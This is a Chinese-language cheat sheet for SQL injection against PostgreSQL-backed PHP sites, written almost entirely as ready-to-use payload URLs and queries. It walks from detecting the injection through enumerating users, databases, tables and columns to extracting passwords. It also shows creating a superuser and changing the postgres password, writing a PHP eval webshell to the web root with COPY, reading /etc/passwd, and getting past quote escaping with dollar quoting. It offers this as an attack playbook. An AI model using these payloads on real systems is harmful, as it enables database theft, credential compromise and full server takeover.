0x01:PostgreSQL Union 注入语句:
1.我们使用单引号,去测试是否存在注入,在报错的时候就可以发现是PostgresSQL数据库。
http://xxx/1.php?id=1'
我们使用order by 语句去判断字段数
http://xxx/1.php?id=1 order by x
使用判断是否是postgresSQL 数据库
http://xxx/1.php?id=1 and 1::int=1
通过cast类型转换来爆错出postgresql信息
http://xxx/1.php?id=1+and+1=cast(version() as int)--
判断出字段使用union 进行查询,我们把所有的字段都用NULL填充,个人觉的第二种方式好用
http://xxx/1.php?id=1 union select NULL,NULL,NULL,NULL
http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--
逐步对字段的类型进行测试,用数字一次进行替换,报错的话,说明不是int类型, 发现 1,4 是 int 类型 ,2和3 可能是字符型
http://XXX/1.php?id=11+and+1=2+union+select+1,NULL,null,4--
我们测试哪个字段存在注入,发现 2 处存在注入
http://xxx/1.php?id=11+and+1=2+union+select+1,'a',null,4--
当前PostgreSQL版本
http://xxx/1.php?id=11+and+1=2+union+select+1,version(),null,4--
9.查看当前用户http://xxx/1.php?id=11+and+1=2+union+select+1,user,null,4--
10.查看当前用户的权限:
http://xxx/1.php?id=1+and+1=2+union+select+1,current_schema(),null,4--
offset 0 表示哪个开始截取, limit 1 截取一个数据 http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--
12. 查询当前会话用户,或者current_user
```sql
http://xxx/1.php?id=1+and+1=2+union+select+1,session_user,null,4
http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)-- 报错会出用户名
- 查询所有用户表,修改offset后面的参数
http://xxx/1.php?id=1+and+1=2+union+select+1,relname,null,null,4+from+pg_stat_user_tables+limit+1+offset+0--
- 查询普通表,注意可以更改limit 和 offset 的值
http://xxx/1.php?id=1+and+1=2+union+select+1,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--
15.读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
http://xxx/1.php?id=1+and+1=2+union+select+1,column_name,null,4+from+information_schema.columns+where+table_name='users'+limit+1+offset+0--
- 得到表名为xxx的oid值或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型) ```sql http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--
17. 数据库用户的信息,字段加上表名
```sql
http://xxx/1.php?id=1+and+1=2+union+select+1,password,null,4+from+users+limit+1+offset+0--
- Postgres 读取文件:
注:postgres用户权限相当于mysql的root用户权限
新建用户(user=polar1dear,pwd=polar1dear)
;create+user+polar1dear+with+superuser+password+'polar1dear'--
修改postgres用户密码
;alter+user+postgres+with+password+'polar1dear'--
遍历当前数据库全部表
select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--
通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。
1.写文件(主要用于写后门)
http://xxx/1.php?id=1;create table polar1dear(shell text not null); //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’); //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php'; ////导出为xxx.php文件
则后门为:http://xxx/xxx.php
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’
2.读文件
http://xxx/1.php?id=1;create table polar1dear(file text not null); //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd'; //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear; //查询
转义绕过
如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义。、
如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题。
而在PostgreSQL中除此之外还提供了一种新的方法来绕过。
在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。